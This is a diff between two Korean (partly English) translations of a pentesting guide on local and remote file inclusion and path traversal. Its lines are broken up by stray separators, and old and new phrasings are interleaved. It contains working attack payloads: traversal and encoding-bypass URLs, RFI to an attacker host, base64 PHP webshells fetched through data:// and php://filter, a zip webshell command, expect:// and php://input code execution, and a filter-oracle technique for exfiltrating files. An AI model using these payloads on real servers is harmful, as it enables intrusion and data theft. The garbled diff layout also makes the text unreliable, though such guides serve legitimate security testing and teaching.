파일 /etc/password를 찾기 위해 여러 기술을 사용하는 목록(취약점이 존재하는지 확인하기 위해)은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에서 찾을 수 있습니다.
|
||||
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
다양한 단어 목록을 병합했습니다:
|
||||
여러 워드리스트를 병합한 것:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
`/`를 `\`로 변경해 보세요.\
|
||||
`C:/`를 제거하고 `../../../../../`를 추가해 보세요.
|
||||
Try also to change `/` for `\`\
|
||||
Try also to remove `C:/` and add `../../../../../`
|
||||
|
||||
파일 /boot.ini를 찾기 위해 여러 기술을 사용하는 목록(취약점이 존재하는지 확인하기 위해)은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에서 찾을 수 있습니다.
|
||||
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
리눅스의 LFI 목록을 확인하세요.
|
||||
linux의 LFI 목록을 확인하세요.
|
||||
|
||||
## 기본 LFI 및 우회
|
||||
|
||||
모든 예시는 로컬 파일 포함(Local File Inclusion)을 위한 것이지만 원격 파일 포함(Remote File Inclusion)에도 적용될 수 있습니다 (페이지=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### 비재귀적으로 제거된 탐색 시퀀스
|
||||
### traversal sequences 비재귀적으로 제거됨
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
제공된 문자열의 끝에 더 많은 문자를 추가하는 것을 우회합니다 (우회: $\_GET\['param']."php")
|
||||
제공된 문자열의 끝에 추가 문자가 붙는 것을 우회합니다 (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
이것은 **PHP 5.4부터 해결되었습니다.**
|
||||
이 내용은 **PHP 5.4 이후로 해결되었습니다**
|
||||
|
||||
### **인코딩**
|
||||
|
||||
이중 URL 인코딩(및 기타)을 포함한 비표준 인코딩을 사용할 수 있습니다:
|
||||
비표준 인코딩(예: double URL encode 등)을 사용할 수 있습니다:
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### From existent folder
|
||||
### 기존 폴더에서
|
||||
|
||||
아마도 백엔드가 폴더 경로를 확인하고 있습니다:
|
||||
백엔드가 폴더 경로를 확인하고 있을 수 있습니다:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### 서버의 파일 시스템 디렉토리 탐색
|
||||
### 서버에서 파일 시스템 디렉터리 탐색
|
||||
|
||||
서버의 파일 시스템은 특정 기술을 사용하여 파일뿐만 아니라 디렉토리를 식별하기 위해 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉토리 깊이를 결정하고 특정 폴더의 존재를 탐색하는 것을 포함합니다. 이를 달성하기 위한 자세한 방법은 다음과 같습니다:
|
||||
서버의 파일 시스템은 특정 기법을 사용해 파일뿐만 아니라 디렉터리를 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 파악하고 특정 폴더의 존재 여부를 확인하는 것을 포함합니다. 아래는 이를 수행하는 자세한 방법입니다:
|
||||
|
||||
1. **디렉토리 깊이 결정:** 현재 디렉토리의 깊이를 확인하기 위해 `/etc/passwd` 파일을 성공적으로 가져옵니다(서버가 Linux 기반인 경우 적용 가능). 예시 URL은 다음과 같이 구조화되어 깊이가 3임을 나타낼 수 있습니다:
|
||||
1. **디렉터리 깊이 확인:** `/etc/passwd` 파일을 성공적으로 가져와 현재 디렉터리의 깊이를 확인합니다(서버가 Linux 기반인 경우 적용). 예시 URL은 다음과 같이 구성될 수 있으며, 깊이가 3임을 나타냅니다:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **폴더 탐색:** 의심되는 폴더의 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 돌아갑니다. 추가 디렉토리 수준은 깊이를 하나 증가시켜야 합니다:
|
||||
2. **Probe for Folders:** 의심되는 폴더 이름(예: `private`)을 URL에 추가한 다음, `/etc/passwd`로 다시 이동합니다. 추가된 디렉터리 수준 때문에 depth를 한 단계 증가시켜야 합니다:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **결과 해석:** 서버의 응답은 폴더의 존재 여부를 나타냅니다:
|
||||
- **오류 / 출력 없음:** `private` 폴더는 지정된 위치에 존재하지 않을 가능성이 높습니다.
|
||||
3. **결과 해석:** 서버의 응답은 폴더 존재 여부를 나타냅니다:
|
||||
- **오류 / 출력 없음:** 지정한 위치에 `private` 폴더가 존재하지 않을 가능성이 큽니다.
|
||||
- **`/etc/passwd`의 내용:** `private` 폴더의 존재가 확인됩니다.
|
||||
4. **재귀 탐색:** 발견된 폴더는 동일한 기술이나 전통적인 로컬 파일 포함(LFI) 방법을 사용하여 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.
|
||||
4. **재귀적 탐색:** 발견된 폴더는 동일한 기법이나 기존의 Local File Inclusion (LFI) 기법을 사용해 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.
|
||||
|
||||
파일 시스템의 다른 위치에서 디렉토리를 탐색하려면 페이로드를 적절히 조정하십시오. 예를 들어, `/var/www/`에 `private` 디렉토리가 있는지 확인하려면(현재 디렉토리가 깊이 3에 있다고 가정) 다음을 사용하십시오:
|
||||
파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 payload를 적절히 조정하세요. 예를 들어, 현재 디렉토리가 깊이(depth) 3에 있다고 가정할 때 `/var/www/`에 `private` 디렉토리가 있는지 확인하려면 다음을 사용하세요:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation은 웹 애플리케이션에서 파일 경로를 조작하는 데 사용되는 방법입니다. 이는 종종 특정 보안 조치를 우회하여 제한된 파일에 접근하기 위해 사용됩니다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것입니다.
|
||||
Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용하는 기법이다. 파일 경로 끝에 추가 문자를 덧붙이는 특정 보안 조치를 bypass하여 제한된 파일에 접근하는 데 자주 사용된다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것이다.
|
||||
|
||||
PHP에서는 파일 시스템의 특성으로 인해 파일 경로의 다양한 표현이 동등하게 간주될 수 있습니다. 예를 들어:
|
||||
In PHP에서는 파일 시스템의 특성상 다양한 형태의 파일 경로 표현이 동일하게 처리될 수 있다. 예를 들어:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, 및 `/etc/passwd/`는 모두 동일한 경로로 처리됩니다.
|
||||
- 마지막 6자가 `passwd`일 때, `/`를 추가해도(`passwd/`) 타겟 파일은 변경되지 않습니다.
|
||||
- 마찬가지로, 파일 경로에 `.php`가 추가될 경우(`shellcode.php`와 같이), 끝에 `/.`을 추가해도 접근하는 파일은 변경되지 않습니다.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, 및 `/etc/passwd/`는 모두 동일한 경로로 처리된다.
|
||||
- 마지막 6자가 `passwd`일 때 `/`를 덧붙여 `passwd/`로 만들어도 대상 파일은 변경되지 않는다.
|
||||
- 마찬가지로 파일 경로 끝에 `.php`가 붙어 있을 경우(예: `shellcode.php`), 끝에 `/.`를 추가해도 접근되는 파일은 달라지지 않는다.
|
||||
|
||||
제공된 예제는 `/etc/passwd`에 접근하기 위해 path truncation을 활용하는 방법을 보여줍니다. 이는 민감한 내용(사용자 계정 정보)으로 인해 일반적인 타겟입니다:
|
||||
아래 예제들은 민감한 내용(사용자 계정 정보) 때문에 흔히 타깃이 되는 `/etc/passwd`에 접근하기 위해 path truncation을 활용하는 방법을 보여준다:
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
이러한 시나리오에서는 필요한 탐색 횟수가 약 2027회일 수 있지만, 이 숫자는 서버의 구성에 따라 달라질 수 있습니다.
|
||||
In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
|
||||
|
||||
- **점 세그먼트 및 추가 문자 사용**: 탐색 시퀀스(`../`)와 추가 점 세그먼트 및 문자를 결합하여 파일 시스템을 탐색할 수 있으며, 서버에 의해 추가된 문자열을 효과적으로 무시할 수 있습니다.
|
||||
- **필요한 탐색 횟수 결정**: 시행착오를 통해 루트 디렉토리로 탐색하고 `/etc/passwd`로 이동하는 데 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이때 추가된 문자열(예: `.php`)은 중화되지만 원하는 경로(`/etc/passwd`)는 그대로 유지됩니다.
|
||||
- **가짜 디렉토리로 시작하기**: 존재하지 않는 디렉토리(예: `a/`)로 경로를 시작하는 것이 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 논리의 요구 사항을 충족하기 위해 사용됩니다.
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가 dot segments 및 문자들을 결합하면 파일 시스템을 탐색할 수 있으며, 서버가 덧붙인 문자열을 사실상 무시하게 만들 수 있습니다.
|
||||
- **Determining the Required Number of Traversals**: 시행착오를 통해 루트 디렉터리로 이동한 뒤 `/etc/passwd`에 도달하는 데 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이 과정에서 `.php`와 같은 덧붙여진 문자열이 무력화되더라도 원하는 경로(`/etc/passwd`)는 그대로 유지되도록 할 수 있습니다.
|
||||
- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉터리(예: `a/`)로 시작하는 것은 일반적인 관행입니다. 이 기법은 예방책으로 사용되거나 서버의 경로 파싱 로직 요구사항을 충족시키기 위해 사용됩니다.
|
||||
|
||||
경로 단축 기술을 사용할 때는 서버의 경로 파싱 동작 및 파일 시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 다른 접근 방식을 요구할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 종종 필요합니다.
|
||||
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
|
||||
|
||||
**이 취약점은 PHP 5.3에서 수정되었습니다.**
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
### **필터 우회 기법**
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -143,47 +143,47 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
|
||||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||
http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## 원격 파일 포함
|
||||
## Remote File Inclusion
|
||||
|
||||
php에서는 기본적으로 **`allow_url_include`**가 **꺼져** 있습니다. 작동하려면 **켜져** 있어야 하며, 이 경우 서버에서 PHP 파일을 포함하고 RCE를 얻을 수 있습니다:
|
||||
php에서는 기본적으로 비활성화되어 있습니다. 이는 **`allow_url_include`**가 **Off.**이기 때문이며, 작동하려면 **On**이어야 합니다. 그 경우 서버에서 PHP 파일을 include하여 RCE를 얻을 수 있습니다:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
어떤 이유로 **`allow_url_include`**가 **On**이지만 PHP가 외부 웹페이지에 대한 접근을 **필터링**하고 있다면, [이 게시물에 따르면](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 데이터 프로토콜을 사용하여 b64 PHP 코드를 디코딩하고 RCE를 얻을 수 있습니다:
|
||||
어떤 이유로 **`allow_url_include`**가 **On**이고 PHP가 외부 웹페이지 접근을 **필터링**하고 있다면, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data protocol과 base64를 사용해 b64 PHP 코드를 디코드하여 RCE를 얻을 수 있습니다:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> 이전 코드에서 최종 `+.txt`는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문에 추가되었습니다. 그래서 문자열은 그것으로 끝나고 b64 디코드 후 그 부분은 단지 쓰레기를 반환하며 실제 PHP 코드가 포함될 것입니다 (따라서 실행됩니다).
|
||||
> 이전 코드에서, 마지막 `+.txt`는 공격자가 `.txt`로 끝나는 문자열을 필요로 했기 때문에 추가된 것이다. 그래서 문자열은 그것으로 끝나고 b64 decode 이후 그 부분은 단지 쓰레기를 반환하며 실제 PHP 코드는 포함되어 (따라서 실행된다).
|
||||
|
||||
또 다른 예시 **`php://` 프로토콜을 사용하지 않는** 것은:
|
||||
또 다른 예로 **`php://` 프로토콜을 사용하지 않는** 경우는 다음과 같다:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Root element
|
||||
## Python 루트 요소
|
||||
|
||||
In python in a code like this one:
|
||||
다음과 같은 코드에서 python의 경우:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
사용자가 **`file_name`**에 **절대 경로**를 전달하면, **이전 경로는 단순히 제거됩니다**:
|
||||
사용자가 **absolute path**를 **`file_name`**에 전달하면, **이전 경로는 단순히 제거됩니다**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
이것은 [문서](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따른 의도된 동작입니다:
|
||||
이는 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따른 의도된 동작입니다:
|
||||
|
||||
> 구성 요소가 절대 경로인 경우, 모든 이전 구성 요소는 버려지고 절대 경로 구성 요소에서 계속 결합됩니다.
|
||||
> 컴포넌트가 절대 경로인 경우 이전의 모든 컴포넌트는 버려지고 결합은 절대 경로 컴포넌트에서 계속됩니다.
|
||||
|
||||
## Java 디렉토리 목록
|
||||
## Java 디렉터리 목록
|
||||
|
||||
Java에서 경로 탐색(Path Traversal)이 있는 경우 **파일 대신 디렉토리를 요청하면** **디렉토리 목록이 반환됩니다**. 다른 언어에서는 이런 일이 발생하지 않을 것입니다(내가 아는 한).
|
||||
Java에서 Path Traversal이 있고 파일 대신 **ask for a directory**를 요청하면, 디렉터리의 **listing of the directory is returned**가 반환되는 것처럼 보입니다. 다른 언어에서는 이런 일이 발생하지 않는 것 같습니다 (내가 알기로는).
|
||||
|
||||
## 상위 25개 매개변수
|
||||
## 상위 25개 파라미터
|
||||
|
||||
다음은 로컬 파일 포함(LFI) 취약점에 취약할 수 있는 상위 25개 매개변수 목록입니다(출처: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
다음은 local file inclusion (LFI) 취약점에 노출될 수 있는 상위 25개 파라미터 목록입니다 (출처: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -215,34 +215,34 @@ Java에서 경로 탐색(Path Traversal)이 있는 경우 **파일 대신 디렉
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업을 수행**할 수 있게 해줍니다. 필터는 5가지 범주로 나뉩니다:
|
||||
PHP filters allow perform basic **수정 작업**을 데이터가 읽히거나 쓰이기 전에 수행할 수 있게 합니다. 필터는 5가지 범주가 있습니다:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: 데이터에서 태그를 제거합니다 (모든 "<"와 ">" 문자 사이의 내용)
|
||||
- 이 필터는 현대 PHP 버전에서 사라졌습니다.
|
||||
- `string.strip_tags`: 데이터에서 태그를 제거합니다( "<" 및 ">" 문자 사이의 모든 내용).
|
||||
- Note that this filter has disappear from the modern versions of PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). **지원되는 모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
|
||||
- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). 지원되는 **모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
|
||||
|
||||
> [!WARNING]
|
||||
> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의의 텍스트를 작성하거나 include 프로세스에서 임의의 텍스트를 만들기 위해 유용할 수 있습니다. 더 많은 정보는 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
|
||||
> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성할 수 있습니다**, 이는 임의의 텍스트를 쓰거나 include 같은 함수가 임의의 텍스트를 처리하게 하는 데 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: 콘텐츠를 압축합니다 (많은 정보를 유출할 때 유용함)
|
||||
- `zlib.deflate`: 콘텐츠를 압축합니다(많은 정보를 exfiltrate할 때 유용).
|
||||
- `zlib.inflate`: 데이터를 압축 해제합니다.
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : 사용 중단됨
|
||||
- `mdecrypt.*` : 사용 중단됨
|
||||
- `mcrypt.*` : Deprecated
|
||||
- `mdecrypt.*` : Deprecated
|
||||
- Other Filters
|
||||
- php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다:
|
||||
- `consumed`
|
||||
- `dechunk`: HTTP 청크 인코딩을 역전시킵니다.
|
||||
- `dechunk`: HTTP chunked 인코딩을 역처리합니다
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> "php://filter" 부분은 대소문자를 구분하지 않습니다.
|
||||
> 부분 "php://filter"는 대소문자를 구분하지 않습니다
|
||||
|
||||
### php 필터를 오라클로 사용하여 임의 파일 읽기
|
||||
### php filters를 oracle로 사용하여 임의 파일을 읽기
|
||||
|
||||
[**이 게시물**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)에서는 서버에서 반환된 출력 없이 로컬 파일을 읽는 기술이 제안됩니다. 이 기술은 **php 필터를 오라클로 사용하여 파일을 불리언 방식으로(문자별로) 유출하는 것**에 기반합니다. 이는 php 필터를 사용하여 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 에는 서버로부터 출력이 반환되지 않아도 로컬 파일을 읽는 기술이 제안되어 있습니다. 이 기술은 **boolean exfiltration of the file (char by char) using php filters**을 oracle로 사용하는 것에 기반합니다. 이는 php filters를 사용해 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
|
||||
|
||||
원래 게시물에서는 기술에 대한 자세한 설명을 찾을 수 있지만, 여기 간단한 요약이 있습니다:
|
||||
원문 포스트에서 기술에 대한 자세한 설명을 볼 수 있지만, 여기서 빠른 요약을 제공합니다:
|
||||
|
||||
- **`UCS-4LE`** 코덱을 사용하여 텍스트의 선행 문자를 시작 부분에 남기고 문자열의 크기를 기하급수적으로 증가시킵니다.
|
||||
- 이는 **초기 문자가 올바르게 추측되었을 때 너무 큰 텍스트를 생성하는 데 사용됩니다**. 그러면 php가 **오류**를 발생시킵니다.
|
||||
- **dechunk** 필터는 **첫 번째 문자가 16진수가 아닐 경우 모든 것을 제거하므로**, 첫 번째 문자가 16진수인지 알 수 있습니다.
|
||||
- 이것은 이전의 것과 결합되어(추측된 문자에 따라 다른 필터도 사용됨) 텍스트의 시작 부분에서 문자를 추측할 수 있게 해줍니다. 충분한 변환을 수행하여 16진수 문자가 아니게 만들 때를 확인합니다. 16진수인 경우, dechunk는 삭제하지 않으며 초기 폭탄이 php 오류를 발생시킵니다.
|
||||
- **convert.iconv.UNICODE.CP930** 코덱은 모든 문자를 다음 문자로 변환합니다(따라서 이 코덱 이후: a -> b). 이를 통해 첫 번째 문자가 `a`인지 발견할 수 있습니다. 예를 들어, 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 16진수 문자가 아니게 되므로 dechunk는 삭제하지 않고 php 오류가 발생합니다.
|
||||
- **rot13**과 같은 다른 변환을 시작 부분에 사용하면 n, o, p, q, r과 같은 다른 문자를 유출할 수 있습니다(다른 코덱을 사용하여 다른 문자를 16진수 범위로 이동할 수 있습니다).
|
||||
- 초기 문자가 숫자일 경우, 이를 base64로 인코딩하고 숫자를 유출하기 위해 처음 두 문자를 유출해야 합니다.
|
||||
- 최종 문제는 **초기 문자 이상을 유출하는 방법**을 보는 것입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**와 같은 순서 메모리 필터를 사용하면 문자의 순서를 변경하고 텍스트의 첫 번째 위치에 다른 문자를 가져올 수 있습니다.
|
||||
- 추가 데이터를 얻기 위해서는 **convert.iconv.UTF16.UTF16**을 사용하여 **시작 부분에 2바이트의 쓰레기 데이터를 생성**하고, **UCS-4LE**를 적용하여 **다음 2바이트와 피벗**을 만들고, **쓰레기 데이터까지 데이터를 삭제**합니다(이것은 초기 텍스트의 처음 2바이트를 제거합니다). 원하는 비트에 도달할 때까지 계속 진행합니다.
|
||||
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
||||
- 이는 초기 문자가 올바르게 추측되었을 때 php가 **오류**를 발생시킬 만큼 매우 큰 **text**를 생성하는 데 사용됩니다.
|
||||
- **dechunk** 필터는 **첫 문자가 16진수가 아니면 모든 것을 제거**하므로 첫 문자가 hex인지 알 수 있습니다.
|
||||
- 이는 이전 필터(및 추측된 문자에 따라 다른 필터)와 결합되어, 충분한 변환을 가했을 때 문자가 16진수 문자가 아니게 되는 시점을 보고 텍스트의 처음 문자를 추측할 수 있게 해줍니다. 16진수라면 dechunk가 삭제하지 않고 초기 폭탄이 php 오류를 발생시키기 때문입니다.
|
||||
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
|
||||
- 시작 지점에서 **rot13** 같은 다른 변환을 사용하면 n, o, p, q, r 같은 다른 문자를 leak할 수 있습니다(또한 다른 코덱을 사용해 다른 문자들을 16진수 범위로 옮길 수도 있습니다).
|
||||
- 초기 문자가 숫자일 경우 base64로 인코딩하고 처음 2문자를 leak하여 숫자를 알아내야 합니다.
|
||||
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
|
||||
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
|
||||
|
||||
게시물에서는 이를 자동으로 수행할 수 있는 도구도 유출되었습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
게시물에서는 이를 자동으로 수행하는 도구도 공개되었습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
이 래퍼는 프로세스가 열어둔 파일 설명자에 접근할 수 있게 해줍니다. 열린 파일의 내용을 유출하는 데 잠재적으로 유용합니다:
|
||||
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
당신은 또한 **php://stdin, php://stdout 및 php://stderr**를 사용하여 각각 **파일 설명자 0, 1 및 2**에 접근할 수 있습니다 (이것이 공격에 어떻게 유용할 수 있는지 확실하지 않음).
|
||||
또한 **php://stdin, php://stdout and php://stderr**를 사용해 각각 **file descriptors 0, 1 and 2**에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 잘 모르겠습니다)
|
||||
|
||||
### zip:// 및 rar://
|
||||
### zip:// and rar://
|
||||
|
||||
PHPShell이 포함된 Zip 또는 Rar 파일을 업로드하고 접근하십시오.\
|
||||
rar 프로토콜을 악용할 수 있으려면 **특별히 활성화되어야** 합니다.
|
||||
PHPShell이 들어있는 Zip 또는 Rar 파일을 업로드한 뒤 접근하세요.\
|
||||
rar protocol을 악용하려면 **명시적으로 활성화되어야 합니다**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
이 프로토콜은 php 구성에 의해 제한됩니다 **`allow_url_open`** 및 **`allow_url_include`**
|
||||
이 프로토콜은 php 설정 **`allow_url_open`** 및 **`allow_url_include`**에 의해 제한됩니다.
|
||||
|
||||
### expect://
|
||||
|
||||
Expect는 활성화되어야 합니다. 다음을 사용하여 코드를 실행할 수 있습니다:
|
||||
Expect를 활성화해야 합니다. 이를 사용하여 code를 실행할 수 있습니다:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
POST 매개변수에 페이로드를 지정하세요:
|
||||
POST 파라미터에 payload를 지정하세요:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
`.phar` 파일은 웹 애플리케이션이 파일 로딩을 위해 `include`와 같은 함수를 사용할 때 PHP 코드를 실행하는 데 활용될 수 있습니다. 아래의 PHP 코드 스니펫은 `.phar` 파일의 생성을 보여줍니다:
|
||||
